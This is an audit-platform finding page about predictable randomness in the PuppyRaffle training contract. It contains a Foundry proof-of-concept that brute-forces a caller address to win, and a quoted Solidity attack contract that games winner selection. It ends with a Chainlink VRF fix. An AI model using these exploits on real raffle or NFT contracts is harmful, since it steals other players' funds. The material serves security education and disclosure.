Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Weak Randomness — Winner and NFT Rarity Are Predictable

Root + Impact

Description

  • Using on-chain data (block.timestamp, blockhash, block.difficulty) as a source of randomness is predictable and manipulable. Miners/validators can influence these values.

  • Winner selection at PuppyRaffle.sol:128-129 uses keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty)) % players.length. Rarity at line 139 uses keccak256(abi.encodePacked(msg.sender, block.difficulty)) % 100. All inputs are known or controllable:

    • msg.sender is chosen by the attacker

    • block.timestamp is known at block inclusion time

    • block.difficulty (PREVRANDAO on PoS) is known at block inclusion time

// @audit Winner selection — all inputs are predictable
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(
msg.sender, block.timestamp, block.difficulty
))) % players.length;
// @audit Rarity — also predictable
uint256 rarity = uint256(keccak256(abi.encodePacked(
msg.sender, block.difficulty
))) % 100;

An attacker can precompute the winner from multiple candidate addresses and only submit selectWinner() from the address that guarantees them as winner. They can also choose to get a LEGENDARY rarity NFT.

Risk

Likelihood:

  • Attack is trivially executable — only requires off-chain computation (no on-chain cost until winning tx)

  • With 4 players, ~25% chance per candidate address — winning address found in a few iterations

Impact:

  • Attacker can guarantee winning every raffle

  • NFT rarity system is meaningless — LEGENDARY is choosable

  • All other players' entrance fees are effectively stolen

Real-World Precedent:

  • Meebits (2021) — ~$700K: Predictable randomness in NFT trait generation allowed attackers to mint rare NFTs

Proof of Concept

How the attack works:

  1. The attacker observes that selectWinner() is permissionless and uses msg.sender, block.timestamp, and block.difficulty — all known values — to determine the winner

  2. Off-chain, the attacker iterates through candidate msg.sender addresses and computes the keccak256 hash for each, checking which address produces a winnerIndex pointing to their entry

  3. The attacker submits selectWinner() only from the address that guarantees their win — this costs nothing until the winning transaction

  4. The same technique applies to rarity: the attacker selects a msg.sender that also produces rarity >= 95 (LEGENDARY)

PoC code:

function testExploit_WeakRandomness_PredictableWinner() public {
address[] memory players = new address[](4);
players[0] = playerOne; players[1] = playerTwo;
players[2] = playerThree; players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
// Attacker brute-forces msg.sender to find winning address
uint256 playersLength = 4;
address winningCaller;
for (uint256 i = 100; i < 200; i++) {
address candidate = address(uint160(i));
uint256 winnerIndex = uint256(
keccak256(abi.encodePacked(candidate, block.timestamp, block.difficulty))
) % playersLength;
if (players[winnerIndex] == playerOne) {
winningCaller = candidate;
break;
}
}
vm.prank(winningCaller);
puppyRaffle.selectWinner();
assertEq(puppyRaffle.previousWinner(), playerOne); // Predicted correctly!
}
// forge test --match-test testExploit_WeakRandomness_PredictableWinner -vvv
// Result: PASS — Winner predicted in <100 iterations. Rarity also predictable.

Expected outcome: The attacker correctly predicts the winning address by brute-forcing msg.sender, guaranteeing they win every raffle round and can choose LEGENDARY rarity NFTs.

Recommended Mitigation

The root cause is that all RNG inputs (msg.sender, block.timestamp, block.difficulty) are either directly controlled by the caller or publicly observable before block inclusion. Any on-chain data available at transaction execution time can be predicted by an attacker. The fix requires an external source of randomness that is committed after the request and cannot be influenced by any party.

Primary fix — Chainlink VRF v2+ (recommended):

import "@chainlink/contracts/src/v0.8/vrf/VRFConsumerBaseV2.sol";
import "@chainlink/contracts/src/v0.8/vrf/interfaces/VRFCoordinatorV2Interface.sol";
contract PuppyRaffle is ERC721, Ownable, VRFConsumerBaseV2 {
VRFCoordinatorV2Interface private immutable i_vrfCoordinator;
uint64 private immutable i_subscriptionId;
bytes32 private immutable i_keyHash;
uint32 private constant CALLBACK_GAS_LIMIT = 200_000;
uint16 private constant REQUEST_CONFIRMATIONS = 3;
uint32 private constant NUM_WORDS = 1;
// Pending request state
uint256 private s_requestId;
bool private s_awaitingVRF;
constructor(
address vrfCoordinator,
uint64 subscriptionId,
bytes32 keyHash,
// ... existing params ...
) VRFConsumerBaseV2(vrfCoordinator) ERC721("PuppyRaffle", "PR") {
i_vrfCoordinator = VRFCoordinatorV2Interface(vrfCoordinator);
i_subscriptionId = subscriptionId;
i_keyHash = keyHash;
}
// Step 1: Request randomness (replaces the old selectWinner RNG)
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
require(!s_awaitingVRF, "PuppyRaffle: VRF request pending");
s_awaitingVRF = true;
s_requestId = i_vrfCoordinator.requestRandomWords(
i_keyHash, i_subscriptionId, REQUEST_CONFIRMATIONS,
CALLBACK_GAS_LIMIT, NUM_WORDS
);
}
// Step 2: Chainlink node delivers randomness — cannot be front-run
function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords)
internal override
{
require(s_awaitingVRF, "PuppyRaffle: No pending request");
s_awaitingVRF = false;
uint256 randomness = randomWords[0];
uint256 winnerIndex = randomness % players.length;
address winner = players[winnerIndex];
uint256 rarity = uint256(keccak256(abi.encode(randomness, "rarity"))) % 100;
// ... prize distribution, NFT minting with rarity ...
}
}

Why this works:

  • Chainlink VRF generates randomness off-chain and delivers it via a callback. The randomness is cryptographically proven (verifiable) and committed after the request, so no party (including miners/validators) can predict or influence it.

  • The two-transaction pattern (request in selectWinner(), fulfillment in fulfillRandomWords()) means the winner is unknown at the time of calling selectWinner(), eliminating front-running.

  • Deriving rarity from the same VRF output via keccak256(abi.encode(randomness, "rarity")) ensures both winner and rarity are unpredictable.

Alternative — Commit-Reveal (cheaper, no oracle dependency):
Participants commit keccak256(secret) before the raffle ends, then reveal secret after. The XOR of all revealed secrets is used as entropy. This is cheaper than Chainlink VRF (~$0.25/request) but requires participant cooperation and is vulnerable if only one player participates in the reveal phase.

What NOT to use: block.timestamp, block.difficulty/prevrandao, blockhash, or any combination of on-chain data — these are all observable or manipulable.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 8 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!